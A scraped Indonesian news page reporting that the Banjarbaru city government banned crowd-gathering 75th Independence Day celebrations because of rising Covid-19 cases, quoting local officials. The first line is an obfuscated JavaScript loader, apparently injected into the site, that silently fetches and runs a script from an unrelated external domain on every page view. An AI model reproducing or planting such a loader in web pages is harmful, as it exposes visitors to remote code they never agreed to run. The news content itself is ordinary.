(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Pemerintah Kota (Pemko) Banjarbaru melarang perayaan peringatan HUT ke-75 Kemerdekaan Republik Indonesia, pada 17 Agustus mendatang.
Hal itu sebagaimana yang tertuang dalam surat imbauan bernomor 003.3.003/HUT ke-75 RI, yang diterbitkan Wakil Wali Kota Banjarbaru Darmawan Jaya Setiawan.
Kebijakan ini sendiri diambil mempertimbangkan kasus Covid-19 di Banjarbaru yang tiap hari semakin meningkat. Sehingga, diperlukan adanya peran masyarakat dalam memutus rantai penularan virus.
“Kita melarang diadakannya perayaan hari kemerdakaan dengan mengumpulkan orang banyak. Contohnya acara hiburan atau lomba-lomba tujuhbelasan, seperti panjat pinang dan lain-lain. Termasuk juga acara masak dan makan bersama juga dilarang,” kata Kepala Bagian Humas dan Protokol Setda Kota Banjarbaru, Dedy Sutoyo.
Untuk memastikan imbauan ini terlaksana, kata Dedy, Pemko akan melakukan pengawasan saat perayaan HUT RI, menyasar tiap-tiap kelurahan. Kendati demikian, pengawasan di lapangan tersebut tetap akan mengedepankan tindakan persuasif.
“Apabila ada yang melaksakan kegiatan perayaan Hari Kemerdekaan mengumpulkan orang, maka akan ditegur. Tentu teguran melalui komunikasi yang baik dengan masyarakat,” ujarnya.
Menilik bagaimana penegakan kebijakan ini nantinya, Satpol PP Banjarbaru belum mendapatkan arahan khusus terkait pegawasan tersebut. Namum begitu, PPNS Seksi Opsdal Yanto Hidayat, mengaku siap apabila pihaknya ditugaskan untuk melakukan pengawasan ke lingkungan masyarakat.
“Kalau saat ini kita belum mendapat arahan dari pimpinan. Tapi, saya pastikan Satpol PP Banjarbaru siap apabila sudah diperintahkan,” ujarnya, saat dihubungi Kanalkalimantan.com
Yanto sendiri meyakini bahwa himbauan tentang larangan menggelar perayaan hari kemerdekaan telah tersampaikan ke pihak Kelurahan maupun ke ranah RT. Maka, seharusnya imbuan ini sendiri telah disosialisasikan masyarakat.
“Seharusnya dari pihak RT sudah menyampaikan ke masyarakat agar tidak menyelenggarkan rangkaian kegiatan lomba, mengingat kondisi pandemi masih rawan penularan,” terangnya. (kanalkalimantan.com/rico)
KANALKALIMANTAN.COM, BANJARBARU - Dinas Perumahan Rakyat dan Kawasan Permukiman (Disperkim) Provinsi Kalimantan Selatan (Kalsel) menegaskan… Read More
KANALKALIMANTAN.COM, BANJARMASIN – Wacana Pemilihan Kepala Daerah (Pilkada) melalui Dewan Perwakilan Rakyat Daerah (DPRD) menuai… Read More
KANALKALIMANTAN.COM, PARINGIN – Pekan pertama masa pemulihan pascabanjir di Kabupaten Balangan, sejumlah perbaikan sudah mulai… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten (Pemkab) Kapuas dan Kejaksaan Negeri (Kejari) Kapuas melakukan serah… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Warga binaan Rumah Tahanan Negara (Rutan) Kelas II B Kapuas berkumpul… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten Kapuas bergerak cepat merespons kebakaran permukiman di Desa Pantai… Read More
This website uses cookies.